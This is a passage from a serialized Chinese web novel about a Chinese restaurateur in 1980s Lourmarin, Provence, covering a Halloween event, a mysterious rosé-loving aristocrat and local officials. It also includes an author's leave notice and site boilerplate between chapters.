在全村欢度万圣节时,他们的村长布兰科还在为明年的预算而努力工作。 “布兰科,我拍了好多视频和照片,你看看能不能放到报告里?” 希尔维拿着她的照相机和摄像机,兴冲冲的冲入村长办公室。 布兰科笑着指窗外: “不用看你的素材我就知道今天有多热闹,楼下全是小孩的笑声和尖叫声。” 希尔维问布兰科: “这里的气氛没有商业街好,那里才叫热闹,你去看看吗?” 布兰科扭了一下发酸的脖子: “晚一点吧,晚上如果还有活动,我去参加一下。” 希尔维激动的说: “晚上有篝火晚会,而且罗南告诉我,晚上的万圣节氛围比白天还好!现在那些外村人都评价我们卢尔马兰‘时尚’呢,这些我都录下来了!” 布兰科开心的说: “如果下班早我也一定会去参加这次‘时尚’活动的。” 希尔维离开后,布兰科在他厚厚一沓报告的最后一页又写下了一行新的标题: 「卢尔马兰特色节日活动——万圣节」 他一边记录一边笑着自言自语: “罗南啊罗南,这是你给我贡献的第几个优秀素材了?如果预算真的申请下来我得还你多少啊?” 傍晚时分,卢尔马兰街道上出现了许多戴着南瓜头的怪人。 他们见到人便会提醒: “篝火晚会要开始了,快去参加吧!” 几个艺术家一边向着罗南的餐厅走,一边由衷的赞叹: “这里的氛围比我去年在圣雷米参加的万圣节活动好,去年那里只有一个舞会,但卢尔马兰全部都是万圣节主题的。” “没错!罗南的餐厅里有‘主题’套餐,那道用南瓜盅做底的炖牛肉实在太棒了,我还喜欢南瓜炒饭,明年我还要来卢尔马兰过万圣节!” “而且你们没觉得这里的南瓜都雕刻的非常好吗?它们像是艺术品一样好看,每个表情都不相同。” “卢尔马兰现在的艺术气息太浓厚了,我也要认真考虑是不是要搬来这里生活了。” “来吧来吧,咱们一起,我也想换个地方生活,这样就能常常见到佐伊了。” “先去参加篝火晚会吧!你们看,‘南瓜小径’都布置好了,我真是太爱卢尔马兰了。” 餐厅外节日氛围浓厚。 餐厅里面的节日氛围更加浓郁了。 许多吃完饭的客人也不舍得离开,把位子让出来后纷纷拿着酒来到后院,参加等一下要开始的篝火晚会。 罗南没有策划篝火晚会上的具体内容,但他一点都不担心。 有这么多艺术家在,还能缺节目吗? 说不定那点地方都不够他们施展的! 后院里篝火都点起来了,罗南还在后厨帮忙呢,一点没有要去盯着的意思。 不过6点多,伊莎贝尔慌慌张张的跑进来找他: “罗南罗南,又来了一个人说是你的朋友。” 后厨好几个人同时笑出声来。 今天生意太好了,每时每刻都有等位的人。 有些‘聪明’的家伙知道老板罗南的名字,以‘我是罗南朋友’为借口,希望服务员尽快把他们放进去。 不过罗南出去和‘朋友’相认五六次了,没有一个是真朋友。 “你说老板不在。”罗南头都不抬的说。 丽莎贝尔纠结的说: “不是.我觉得这人真的有可能是你的朋友,她的气场好强大啊,只是稍稍皱了下眉,我都不敢看她了。” 罗南抬头想了一下: “我出去看看。” 外面等位的人实在太多。 伊莎贝尔找了好久才看到刚刚那位气度不凡的客人。 她扭头想给罗南介绍,发现罗南不知何时已‘瞬移’到了那位客人的身前,恭敬的说: “您怎么不提前通知我一声就来了啊。” 那位穿着风衣的女士紧了一下衣服: “通知你提前准备演戏给我看吗?” 面对对面明显的‘刁难’,罗南不仅没生气,还陪着笑脸说: “快快快,进去吧,外面冷!” “还有位置吗?”那女士犹豫的问。 罗南做了一个请的手势: “只要您来,无论何时都有位置!” 伊莎贝尔拿着菜单一起进去,但罗南把她手里的菜单拿走,认真的说: “这里你不用管了,我亲自接待。” 伊莎贝尔歪了一下脑袋。 心想这是什么朋友啊,能让罗南‘舔’成这个样子? 第233章 聪明的商人 阿斯特丽德没有提前打招呼,是不想看罗南给她做‘表面功夫’。 为了营造出某种人设或者目的,把事情办得漂漂亮亮.深究起来根本不是那么回事。 她见过太多这样的人了。 如果提前通知罗南她要来,说不定罗南会请‘演员’来喝粉红酒,或者想出其他办法。 而她今天不过是有了些空闲的时间,想找个地方喝两杯罢了,没有那么多功夫看人‘演戏’。 只是没想到这次‘突袭’遇到了意料之外的情况——罗南的餐厅在举办万圣节活动,顾客满棚。 这里的经营情况不仅比戈尔德或梅纳村的部分知名餐厅还火爆,而且这个万圣节气氛弄的还挺‘像模像样’的,和她之前在格拉斯、里昂和巴黎见识到的氛围很相似。 这是她第一次在吕贝隆见到有餐厅做万圣节活动。 见阿斯特丽德一直在打量餐厅里的万圣节装饰,罗南谦虚的说: “一些吸引顾客的小手段。” 阿斯特丽德肯定听说过万圣节,没必要给她科普这是什么节日了。 阿斯特丽德没有什么情绪起伏的评价: “很管用的小手段。” 罗南是一个聪明的‘商人’——这是阿斯特丽德没有讲出口的评价。 她在戈尔德见到过罗南发的开业传单,这说明罗南是一个会根据不同情景使用不同营销手段的老板。 罗南没有给阿斯特丽德科普万圣节,却认真介绍了餐厅里的各种中式元素。 阿斯特丽德没有打断罗南,耐心的听完了所有科普,从‘刁钻’的角度评价道: “手挺巧。” 罗南尴尬的笑了两声,用商量语气问: “您想坐室内还是室外?室外环境更好一些,但正在进行篝火晚会,可能有点吵。” 餐厅现在是满员状态,罗南要临时加一张桌子。 阿斯特丽德怀顾了一周,发现室内居然有5、6桌客人点了粉红酒。 这在普罗旺斯是相当不错的比例了。 看来罗南说的不是空话他确实在有意营造粉红酒氛围。 ‘桌桌粉红酒’是玩笑话,阿斯特丽德不会变态到如此。 目前罗南餐厅的氛围她已经挺满意的了。 “室内吧。”阿斯特丽德来罗南这里的目的主要是喝酒。 罗南咂了一下嘴,犹豫了一下继续开口说道: “不过如果您想要粉红酒氛围.那应该去室外,室内没什么喝酒的气氛。” 阿斯特丽德脱风衣的动作一顿,看了罗南一眼,再次把外套穿好,用下巴指了下连接室外的门: “带我看看你的粉红酒氛围。” 室外吃饭的人不是主角。 那些拿着酒杯、围着篝火蹦蹦跳跳过节的人才是今晚绝对的主角。 罗南说过,他一点也不担心篝火晚会的内容,艺术家们绝对不会让他失望的。 而这些艺术家们也没有让阿斯特丽德失望。 她第一次在普罗旺斯见到了‘人人粉红酒’的美妙氛围。 虽然菜没上齐,但这个景色就足够她佐下不少酒了。 罗南给阿斯特丽德推荐了三道以辣味为主的中国菜,阿斯特丽德女士为此配了6瓶粉红酒。 她一个人坐在室外花园的角落,远远的看着那些活泼的年轻人,也不知道在想些什么。 罗南把阿斯特丽德曾经点评过‘不错’的辣子鸡放到桌子上: “一点口味没改,给您上的全部是原本的味道和辣度。” 阿斯特丽德不喜欢改良菜,她喜欢重口味的。 见第一道菜上桌前粉红酒就空了一瓶,罗南一边给阿斯特丽德斟酒一边友好的询问: “需要我给您介绍几位喝酒的朋友吗?我这里有几个不爱说话但下酒特别快的顾客,可以陪您好好喝。” 艺术家们性格千奇百怪,也有像阿斯特丽德这样的喝酒机器,但没有她这么能喝。 阿斯特丽德是罗南见过最能喝酒的人。 不过自己喝酒多没意思啊,她今天也没带其他人来。 阿斯特丽德慵懒的斜靠在椅子上: “我喝酒不需要人陪。” 罗南偷偷瞥了下嘴: “行,我去催下没上的菜。” 刚走两步,身后传来一道悠悠的声音: “但你如果没事可以过来陪我喝两杯。” 罗南回头灿烂一笑: “那我可就不客气了!” 前两次和阿斯特丽德交谈都给罗南带来了巨大的帮助。 阿斯特丽德来卢尔马兰看商业街博物馆的那次,告诉罗南要懂得‘借势’和‘借利’。 于是罗南坐上了卢尔马兰政府这艘‘大船’,落得了无数好处,连最重要的还愿盛典都是根据罗南餐厅开业的日子举办的。 上一次见面,阿斯特丽德又给罗南透露了一些高层消息,让罗南动了把粉红酒和卢尔马兰未来特色发展之路绑定到一起的想法。 虽然目前这件事迟迟没有着落.但这让罗南在布兰科那里的分量更重了,因为罗南知道只有政府高层才知道的内部消息。 他期待了许久和阿斯特丽德女士的下一次见面。 这一次,这位神秘的贵族女士又会‘教’他些什么呢? 三道菜上齐后,罗南坐到了阿斯特丽德对面。 不等罗南说什么,阿斯特丽德主动问: “那些都是艺术家吗?” 罗南回头看篝火处的热闹人群,点头道: “是的,都是来自普罗旺斯各地的艺术家。” 阿斯特丽德晃动着酒杯说: “你真的想要靠这帮人拿掉扣在粉红酒头上几百年的枷锁?” 罗南叹气: “说实话,我也不知道这可不可行.但目前我找不到其他的办法了。” 阿斯特丽特看着篝火附近的人群,没有情感的问罗南: “下一步你打算干什么?” 罗南在‘沃克吕兹省粉红者爱好协会’上说,他的梦想是让粉红酒得到全部普罗旺斯人的正视。 现在餐厅的粉红酒氛围有了,你要如何实现下一步目标? 罗南没有任何隐瞒,把所有事情都交代了: “上次和您见面后,我和卢尔马兰的村长布兰科聊了一次,建议他把粉红酒作为卢尔马兰的特色发展,不过他还没有决定是否要这样做。” 阿斯特丽德突然千娇百媚的笑了几声。 她把视线从篝火处挪开,移动到罗南身上,发出了今日第二道引人‘遐想连篇’的评价: “你很听话。” 罗南强装镇定,猛猛喝酒: “这件事和我息息相关,而且确实是我想做的事。” 镇定,镇定! 她真的在夸你,没有别的意思!! 阿斯特丽德又把视线挪开,看向远处的艺术家人群,用嘲讽意味明显的语气说: “他会拒绝。” 罗南叹气: “大概率是。” 他和布兰科提建议是在近两个月前,那之后他们见了好几次,布兰科再也没提过这件事。 要知道那个时候布兰科考虑商业街回购条款和补贴政策时都没有用那么长时间。 很有可能这件事就要这样‘翻篇’了。 把一个村子的命运和粉红酒绑定到一起还是太冒险。 阿斯特丽德又一次紧了紧身上的大衣: “他需要亲眼看到政府的态度才能做决定。” 罗南继续叹气: “但是我听说政府不会给明确的态度,他们总是说先做再说。” 阿斯特丽德冷笑着说: “恶心的嘴脸。” 罗南吓的直咧嘴,不过他还是抱着试一试的态度问: “您是不是认识一些.厉害的官员?” 如果阿斯特丽德女士愿意帮忙的话. 阿斯特丽德昂起脑袋,用戏谑的语气说: “你知道除了萨德侯爵那些令人说道的情史外,我的家族还经常被世人讨论些什么吗?” 罗南摇头: “不知道。” 阿斯特丽德露出了一个非常美丽端庄的笑容,却说出了让罗南在秋夜大汗直流的言论: “我的祖先里出了许许多多的彻底无神论者,他们主张上帝不是宇宙的第一推动力,恶才是上天最神秘的意志,人类应该在无政府状态下的猎杀中时刻保持活力。” 罗南靠不停喝酒掩饰此刻的心情。 这是什么家族啊? 一个比一个奇葩! 太吓人了! “罗南,供应商来送酒了,需要你去看一下货。” 伊莎贝尔适时的出现,拯救了不知道该如何回复的罗南。 阿斯特丽德对罗南挥了下手: “你去忙吧,不用管我。” 罗南离开座椅,歉意的说: “一会我让人给您送份甜品来,我这里的甜品也很有特色。” 阿斯特丽德慵懒的用鼻音‘嗯’了一声,继续当她的无情喝酒机器了。 大约两分钟后,伊莎贝尔拿了两条厚厚的毯子过来。 不等阿斯特丽德询问情况,伊莎贝尔将一条铺在阿斯特丽德的身上,另一条铺在她的膝盖上。 她笑着给这位客人解释: “罗南说现在气温低了,看您一直拉衣服,让我来帮您披上,我就在那边,如果还是冷可以随时叫我,我再给您拿更厚的保暖物。” 伊莎贝尔离开后,无情喝酒机器的脸上出现了一丝情绪变化。 阿斯特丽德露出了疑似‘母性光辉’的笑容,看着远处的篝火,拿着酒杯不停的摇晃。 第二天一早。 罗南去餐厅上班前,接到了伊内斯的电话。 这位沃克吕兹省粉红酒协会的会长、米切兰杂志出版的主编用非常复杂的语气说: “阿斯特丽德联系我,说昨天在你餐厅没喝够,让我尽快组织一次聚会,而且建议地点定在你的餐厅。” 她斟酌了一下,用明显疑惑的语气问: “罗南,你和阿斯特丽德.挺熟的吗?” 她在帮你宣传餐厅啊,我的上帝! 第234章 灵活的态度【2月2000月票补更】 阿斯特丽德在沃克吕兹省粉红酒爱好者协会里的地位有多重要呢? 当伊内斯以‘阿斯特丽德希望尽快组织一次聚会’为由联系了一圈成员后,聚会在第二天的下午就成型了。 这些沃克吕兹省的大人物奇迹般的全部有了空闲时间、可以以最快的速度和大家见面。 聚会当天,雅克一见罗南就紧张的问: “你和阿斯特丽德最近走的很近吗?” 伊内斯在给他打电话时透露出了一部分阿斯特丽德在电话中对伊内斯说话的态度。 雅克也明显感觉到了,这是阿斯特丽德在故意给罗南的餐厅做宣传。 这确实是件好事,但那个女人不能碰啊! 这已经是罗南今天听到的第3.5遍同样的问题了。 稍早一些到来的加布里埃尔和开粉红酒庄的杰罗姆都问出了同样的问题。 会长伊内斯问的含蓄,但意思是类似的。 而罗南也在今天第四次说出同样的答案: “阿斯特丽德昨天来过我的餐厅,再之前就是咱们的上一次聚会了不算很熟吧?” 雅克推了一下眼镜,不解的问: “那她为什么要帮你呢?” 罗南耸肩,做出了我也不知道的表情。 也许因为我听话? 不过罗南又觉得和这关系不大。 协会里谁不听阿斯特丽德的话呢? 一个电话人全来了。 怀揣着‘八卦’心情的各位成员很快发现,阿斯特丽德和罗南确实看起来没有很熟的样子。 阿斯特丽德依然是那副对什么话题都不感兴趣、只顾喝酒的冷漠模样。 罗南没有和她坐到一起、也没有什么交流,聚会全程只跟雅克和加布里埃尔交头接耳。 “真是我想多了?”加布里埃尔摸着他的八字胡说。 罗南在加布里埃尔的糖果店采购了一大批蜜饯用于万圣节活动。 两个人本就是朋友,现在‘亲上加亲’,足可以敞开心扉聊些‘私密’话题了。 罗南无奈的耸肩: “我解释过了,你说的‘钻小树林’事件只是我们在她车前聊粉红酒,没有任何你想象中的东西。” 加布里埃尔嘿嘿笑了两声: “别激动,我也觉得阿斯特丽德和你不可能,她看起来应该会喜欢一些更有挑战性的男人。” 罗南:“.” 雅克的眉头也稍微舒展了一些: “没有就好,否则我会自责的.是我带你认识的阿斯特丽德。” 罗南哭笑不得的给两位好朋友倒酒: “其实阿斯特丽德没有你们想象中那么恐怖。” 昨天伊莎贝尔开心的跟罗南说,阿斯特丽德离开的时候给了她100法郎的小费。 也是挺好的一个人啊。 加布里埃尔喝了一口酒,苦涩的说: “主要是她太神秘了,人一旦太神秘就会让人感觉到危险,尤其是女人!” 雅克附和道: “我们不知道她是否有家庭,也不知道她是做什么的,说是无业游民但又似乎比我们所有人都忙,再加上她的一些‘癖好’.” “她不是做——”罗南突然噤了声。 这些人都不知道阿斯特丽德是做香水生意的吗?? “你知道她是做什么的?”雅克的扑克脸上有了明显的情绪起伏。 “不知道,不知道。”罗南连连摇头。 加布里埃尔用扭曲的声音说: “还说你和她不熟?你在骗我们!!” 罗南、雅克和加布里埃尔同属‘商人’,自动凑到一起,没有加入聚会的核心讨论区。 但在核心讨论区里,沃克吕兹省的几位官员全部伴在阿斯特丽德左右。 这些当官的比商人多了解不少信息——比如他们知道阿斯特丽德也是个坚定的‘无政府论’拥护者,听到政府的事情就会厌烦。 所以如果他们想要从这位女士身上得到某些好处,需要绞尽脑汁换一套说辞。 “教皇新堡成立了一家新的酒庄,我去过一次,如果订购量大可以根据客人的口味要求定制粉红酒,有机会我们去新教皇堡聚会一次怎么样?阿斯特丽德,你什么时候有时间?”科伦坦笑着问。 阿斯特丽德蔫蔫的说: “不一定。” 科伦坦继续说道: “新教皇煲开了许多特色商铺,我们可以顺便一起看看。” 朱莉特时刻观察着阿斯特丽德的反应: “未来冬天也可以吃到鲁西甜瓜了,虽然现在还没有上市,但我有办法提前拿到.下次聚会我带一点培育的新品种来给大家尝尝怎么样?” 阿斯特丽德根本没有看朱莉特和科伦坦,她拦下一个服务员: “帮我再加一份‘辣子鸡’。” 时刻聚焦着这位女士的成员们开始在心里嘀咕: 不用看菜单就可以点单吗? 罗南离着老远对那服务员说: “告诉后厨不要减辣,用传统的做法做。” 阿斯特丽德继续喝酒、罗南继续和旁边的人聊天,但其他人聊不下去了。 这两个人看起来完全不像不熟的样子啊! 阿斯特丽德有其他事情要忙,提前离开了,这情况在以往的聚会中从未出现过。 每次聚会她永远都是喝到最后的那一个。 这更加让会员们坚定了猜测——这次聚会是阿斯特丽德特意为罗南举办的,她根本没有顾及自己的时间,只是着急的想要把这件事快速落实。 而阿斯特丽德女士也用非常‘明确’的态度回应了这些人的猜测。 “菜不错,装潢也不错,喝粉红酒的人也很多,以后我会常来的。”放下这句话,这位神秘的贵族女士匆匆离开了餐厅。 罗南对阿斯特丽德投去感激的笑容。 虽然这一次见面阿斯特丽德没有教他任何东西,但终于是把这些大人物‘请’来了。 他不能辜负阿斯特丽德的‘成全’,必须要好好的用一用这些沃克吕兹省的大人物,绝不能让他们就这么轻易的离开了! “大家吃完晚饭再走吧,我这里有许多特色的菜品和甜点。” 不等罗南说完,科伦坦笑着搂住他的肩膀,和他一起返回餐厅。 “当然要吃完晚饭再走,你这里的菜那么好吃,我以后也会常来的,走走走,进去继续喝!” 罗南眼睛瞪的好大。 阿斯特丽德到底有什么背景.这些人又知道些什么他不知道的消息呢? 只是一句‘会常来’就让这些官员的态度变成这样了? 上次聚会这帮人对他可敷衍了! “我正有事要请教你,我们进去边聊边说。”罗南笑着让服务员给那桌又拿去了几瓶粉红酒。 因为加班,布兰科没有赶上去参加罗南餐厅的万圣节活动。 细想下来,10月份他只在开业当天光顾过一次罗南的餐厅。 作为卢尔马兰最核心的商铺、振兴的希望,布兰科认为他应该提高一下去那里的频率。 毕竟在装修阶段,他每周都要去一次的。 他这个村长要多去几次,才能让罗南知道政府对他‘义无反顾’的支持态度。 于是今天下午他给妻子打电话,让她不要做晚饭,下午5点在罗南的餐厅见面。 下午4点45,布兰科结束了工作,溜溜达达的从政府办公楼向商业街的方向走。 商业街上还有一些没来及拆除的装饰,孩子们也依然在围着南瓜灯做游戏。 这里是卢尔马兰,又不太像卢尔马兰。 布兰科觉得这种感觉奇妙的无法用言语描述。 他唯一能够总结出的东西就是——卢尔马兰发生的一切变化都是由罗南而起的。 在明年要呈现给沃克吕兹省旅游局的报告中,布兰科把卢尔马兰描述成了一个和吕贝隆其他小山村完全不同的村子。 在这里有中世纪的古朴建筑,又有与大城市接轨的新兴节日;有朴实的村民,又有冲破的几百年认知固化、走出家庭的勇敢妇女;有任劳任怨的农夫,也有思想与世界接轨的新锐艺术家. 而这一切的一切,全部围绕着一个关键‘零件’运转——那便是罗南。 “卢尔马兰现在只缺一个可以让其他零件也同时运转起来的‘轴’.但无论如何这个‘轴’都不能离开罗南。” 事实上,布兰科在很久之前就否定了罗南的提议,他认为粉红酒并不是一个理想的‘特色’之路。 他会让卢尔马兰在发展的过程中遇到太多太多的阻碍。 但布兰科又不想直接拒绝罗南的提议,因为他知道罗南真心希望卢尔马兰好。 他最近在积极的寻找罗南能做的其他特色,找到之后,他会带着结果第一告诉罗南的。 思绪纷飞间,布兰科已来到罗南的餐厅门口。 伊莎贝尔见布兰科来了马上把他请进去: “罗南可能暂时脱不开身,他在接待其他朋友。” 布兰科和蔼的说: “没事,我就是来吃饭的,不用叫罗南了。” 他坐到座位上翻看菜单,余光看到罗南正在一个大长桌上被人‘敬酒’。 布兰科笑着看过去,想看看这又是哪个人被罗南的‘魅力’或者‘能力’折服了。 这一看不得了啊。 布兰科差点站起来冲过去。 那个贴着罗南耳朵说话的,不是沃克吕兹省工商业联盟的科伦坦吗? 布兰科上次去工商业联盟,连给他吃了两次‘闭门羹’的讨厌家伙! 等等,等等! 那个在给罗南斟酒的,似乎是沃克吕兹省农业委员会的朱莉特? 这个女人差点因为一个微小到不能再微小的理由给卢尔马兰开下巨额罚款! 他们怎么和罗南坐到一起了?? 最让布兰科吃惊的是——这些人的杯子里全部是粉红酒! 布兰科马上叫回了离开的伊莎贝尔: “你偷偷告诉罗南,我今晚想和他谈谈。” 不弄清楚状况,布兰科今晚睡不着觉的。 伊莎贝尔为难的说: “但是.他们可能会喝到很晚呢。” 布兰科坚定的说: “即使喝到凌晨,我也等他。” 请假条 加更之后是噩耗...... 明天要出去办事,已经从春节拖到现在,实在拖不下去了。 目前不知道要出去多久,如果回来的早会照常更新,回来的晚就没办法了。 不过一定会尽量早回来的。 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第235章 普罗旺斯的故事大王们 在餐厅的另一侧,罗南正向两位沃克吕兹省的官员打听关于‘政府态度’的问题。 阿斯特丽德说过,想要推动卢尔马兰政府和粉红酒扯上关系,需要让布兰科看到政府对粉红酒的态度。 这个所谓的‘政府’最好是旅游局,不过协会里没有旅游局的人。 但罗南清楚记得,科伦坦在他家吃火锅那天曾说过,他和许多部门的官员都很熟悉,可以介绍一些给罗南认识。 并且春天艾略特带昆西来说服伊内斯推动沃克吕兹省尽可能多的酿酒合作社制作粉红酒时,这位官员也是在场人中对旅游局的昆西表现最友好的那一个。 “科伦坦,你是不是认识旅游局的人?”罗南随意的问。 科伦坦耸肩: “当然,谁没有几个‘有钱的朋友’呢?” 在一旁的朱莉特露出会心一笑: “旅游局和各个部门的合作非常频繁,我们也很乐于有这种合作机会。” 罗南明白了他们说的意思。 有旅游局出现的地方就会有资金的出现。 它一定是这种以旅游闻名的大省内最受人欢迎的一帮家伙了。 罗南举起杯子,用更加随意的语气问: “他们也喜欢粉红酒吗?” 这是沃克吕兹省粉红酒爱好者协会的聚会,大家的话题离不开粉红酒,罗南问出这个问题不会让人感觉到奇怪。 科伦坦想了好一会,皱着眉头说: “我们没有聊过粉红酒的话题。” 朱莉特也回忆了一下,回复罗南: “我和他们喝过几次酒,但他们喝的是其他的。” 罗南笑着指了指四周,用开玩笑的语气说: “那一定是因为他们没有来过我的餐厅,在这么棒的粉红酒氛围里,他们一定会发现粉红酒真正的魅力!” 朱莉特举起杯子敬罗南: “你这里的粉红酒气氛是我在普罗旺斯见过最棒的怪不得阿斯特丽德会喜欢,如果有机会我一定会带朋友们常来的。” 协会里的会员全部是伊内斯精挑细选出的人,他们对粉红酒的热爱程度虽然没有罗南和阿斯特丽德高,但和正常人比也可以用‘狂热’来形容。 谁不想在浓郁的粉红酒气氛中喝酒呢? 科伦坦拿不准罗南是真的开玩笑,还是在‘表达’着什么,不过他举起酒杯用开玩笑的语气回: “如果下次和旅游局的那帮家伙们聚会,我一定会推荐他们来这里,并亲自问一问他们是不是喜欢粉红酒。” 科伦坦和朱莉特明着暗着讨好阿斯特丽德两三年了。 但这位女士永远是一副‘不闻不问’的模样,每次见面就是喝喝喝喝喝喝,不接任何人的‘招’,也和所有人都保持疏远的关系。 现在好不容易有了一个‘突破口’。 不管罗南和阿斯特丽德是什么关系,总之和他们这些人的关系肯定不同! ‘舔’不到阿斯特丽德就‘舔’罗南,万一管用呢? 罗南开心的说: “我可太期待那个场面了!” 伊莎贝尔借着换盘子的机会,悄悄附在罗南耳边,告诉他布兰科晚上想和他聊聊。 罗南顺着伊莎贝尔的眼神看过去,发现布兰科正眉头紧锁的盯着他看,似乎有一肚子话要说。 他一下子便猜到了布兰科找他的目的——应该是认出了桌子上的几位官员,想要问一问情况。 罗南想了那么一两秒,坏笑着敲了下桌子,之后让伊莎贝尔给布兰科回话: “告诉布兰科,我马上过去。” 说完,罗南对科伦坦和朱莉特说: “抱歉,我要稍微离开一下,来了一位‘领导’,需要我去好好陪一下。” “领导?”科伦坦轻笑着环顾四周。 不是我吹啊罗南,餐厅里最大的‘领导’肯定是我和朱莉特。 你要抛下我们去陪谁? 朱莉特也还没有和罗南聊够,随着科伦坦一起寻找,很快便发现了目标。 她笑着给了罗南一个‘放心’的眼神: “居然是熟人我跟你一起去打个招呼。” 科伦坦随着他们一起站起来: “巧了,也是我的熟人,我也去打个招呼。 布兰科没想到罗南会带着科伦坦和朱莉特一起过来。 他话里的意思很明显了,是想和他私下聊聊。 你怎么带着外人来了? 不过布兰科很快发现——真正的‘外人’似乎是他。 简单寒暄过后,在工作中经常刁难人的科伦坦拍着罗南的肩膀对布兰科说: “你真幸运啊,罗南选择在卢尔马兰定居,还在这里开了一家这么棒的餐厅,我要是你睡觉都会笑醒你可一定要好好‘帮助’罗南把餐厅开好啊。” 差点把卢尔马兰罚了的朱莉特摇晃着红酒杯说: “我的好弟弟罗南第一年到普罗旺斯,肯定有许多不了解的地方,布兰科,以后还辛苦你多多关照,这杯我敬你。” 罗南靠不停微笑掩盖此时的心理活动。 科伦坦知道让布兰科‘帮助’他把餐厅开好,为什么他自己不知道这个道理呢? 开业一个月了,这是他第一次来‘帮帮忙’。 还有他认识朱莉特半年了,还是第一次知道自己原来是她的‘好弟弟’。 好姐姐朱莉特在之前半年为什么几乎和他没有什么交集呢? 布兰科受宠若惊的站起来: “不用二位说我也会好好照顾罗南的。” 他想举杯回敬,发现酒还没有上,杯子是空的。 罗南轻轻拍了下布兰科的的后背,将他的杯子里倒上粉红酒,笑着给两位沃克吕兹省的官员解释: “布兰科也喜欢喝粉红酒。” 布兰科陪着笑把酒喝了,实则心里的疑惑更多了。 罗南为什么要用‘也’? 科伦坦和朱莉特是来给罗南‘撑腰’的,聊了两句便带着罗南离开。 “我们刚才聊到哪里了?”科伦坦问罗南。 罗南一字一句的回答: “聊到你说有机会要带旅游局的人来我的餐厅吃一顿,让他们看看我这里的粉红酒气氛。” “啊,对对对!”科伦坦大笑着说,“还是你们年轻人记性好啊!” 他们背后,布兰科瞳孔大地震。 罗南和沃克吕兹省政府的关系那么好吗? 布兰科没有等罗南接待完‘沃克吕兹省粉红酒协会’的众人,和妻子吃完就离开了。 不过罗南清楚,他们之间的‘谈话’已经完成。 送走各位协会成员后,他站在夜幕中,表情复杂的看向卢尔马兰的中心方向。 阿斯特丽德女士在最新一次的见面中不是什么都没有‘教’他。 她亲自给罗南演示了一次——有些事情不用直接说,也不用亲自做,只需稍微制造出一点点令人遐想的空间即可。 但这条原则只能由‘高位者’使用。 也不知道今天发生的事能不能在布兰科身上起到作用。 万圣节后,冯珍和罗天海、罗南坐到一起又盘了一次账。 在万圣节客流量小高峰的带动下,餐厅第一个月利润达到了9万多法郎。 不过这应该是今年的最好成绩,即使11月依然能策划出一到两个节日活动,营业额也很难超过10月的数字,因为普罗旺斯的冬天即将开始,室外区域很快便要关闭。 接待区域减少是其中一个原因,气温低下来后普罗旺斯人也不那么活跃了,这是他们在家里造人的月份。 不过巴黎一家人对餐厅还是充满了信心。 即使室外区域关闭,餐厅每天也不会缺顾客,绝对可以经营的下去。 留下餐厅的经营成本和过日子的资金后,冯珍帮罗南存下了7万法郎,这便是买房子的第一笔资金了。 为了弄清此时买房子的市价和未来要存多少钱,罗南抽空去了一次卢尔马兰政府大楼。 这次没有小员工敢接待罗南了,他们直接把罗南请到了希尔维面前。 但这位卢尔马兰最重要的政府官员也无法回答罗南的任何问题: “前两天布兰科开会的时候说,你的一切问题必须由他亲自处理,不过这几天他去阿维尼翁出差了,你过几天再来?” 虽然没有得到想要的东西,但罗南离开政府大楼时心情挺不错的,脸上时刻挂着笑容。 阿斯特丽德教他的‘新东西’.似乎又起效了! 困扰巴黎一家人的野猪风波过去有一阵子了。 罗南早已卸下防备,把两把枪放到安全的位置,早晚正常遛狗,和佐伊的夜游也恢复了。 冯珍也不再每天神经兮兮的盯着窗外看,似乎忘记了那个一度天天挂在嘴上的‘可怜小家伙’。 一家之中,只有罗天海还在惦记着那片曾经的危险区域。 他每天早上都会去留意一下密林方向的动静: “今天的车更多了,居然有8辆。” 野猪有没有没人知道.但那片密林成了吕贝隆的火热打猎‘景点’,每天都会有人往那里面钻。 “比昨天多了两辆?”冯珍一边喝咖啡,一边走到窗边看热闹。 这老两口越来越像普罗旺斯人的性格了。 罗南咽下最后一口早餐: “正常,没有危险的地方更适合野餐和打牌了,万一去别的地方真碰到野猪了怎么办?” 他洗了下手,蹲下给小黑和马赛戴白手帕,要出去遛狗了。 冯珍拿着咖啡杯来到门口: “要不别带了,我听你的意思.似乎没有什么用?” 罗南打开门,两只狗飞速冲出去: “不能掉以轻心,也许危险就在我们的左右呢。” 有些猎人会进入密林里野餐。 有些人干脆下了车就开始铺野餐垫。 随着来这片密林打猎的人越来越多,密林和葡萄园之间的野餐垫也越来越多。 每当罗南带着两只狗出现在葡萄园,就像是给这帮野餐的家伙准备的佐餐‘节目’一样。 他们会一边喝红酒、吃奶酪,一边讲述起‘我曾见过比那只狗更潦草的狗’、‘我亲眼见过两只公狗打架、其中一只咬掉了另一只的耳朵’、‘我也有过一只杜宾犬,不过忠诚的他为了保护我永远的留在了吕贝隆的山谷里’等跌宕起伏的故事。 无论罗南躲到哪里,都能感到有无数双眼睛盯着他看,并能感受到那些大脑飞速运转编故事的电波声。 于是他最近会带着两只狗去密林边缘玩,不再停留在空旷、一览无余的葡萄园里。 毫不夸张的说,现在密林比外面安全多了,只需要提防那些不靠谱的猎人就可以。 不过普罗旺斯的猎人喜欢成群活动,也没有组织纪律性,还会很‘善意’的大声提醒方圆几百米内的动物——我们来了哦,你们快跑哦。 罗南可以很轻易的在几百米外发现他们的存在,只需躲他们远远的就行了。 然而让人没想到的是,今天他出来遛狗时居然发现了一个落单的人。 罗南发现他的时候,那人正用奇怪的姿势站在一颗橡树下。 他穿了一双钓鱼用的过膝橡胶防水鞋,一只手拿着一根木杆,另一只手里拿着一个红色的塑料袋,脑袋上扣了一个养蜂人戴的帽子,把头和上半身的大半部分全部盖住。 要感谢那只红色的塑料袋,让马赛在很远的地方就发现了这个人的存在,以至于给罗南大量观察他的时间。 如果罗南到了比较近的位置才看到这个奇怪家伙,第一反应一定会觉得在密林里出现了什么‘成了精’的怪物——因为那人的行为实在太奇怪了,完全不像是一个人该有的动作。 他太庆幸自己没改掉给小黑和马赛戴白手帕的习惯了,如果真撞上‘怪’东西,也许可以看在双方都有灵性的面子上把他放了。 为什么说他奇怪呢? 因为观察完橡树下的青苔和泥土后,那人会直立起来,用穿着橡胶鞋的脚远远的向前探去,并左右滑动,那一根木杆的作用是支撑他的身体可以像一只圆规一样活动。 罗南不知道那人在用脚探什么,总之就这样划一个圆往前迈一步,划一个圈往前迈一步.像圆规一样缓慢的行进着。 这人似乎在提防着什么,全部注意都在脚下,完全没有发现已经有1人2狗在他身后津津有味的看了一两分钟。 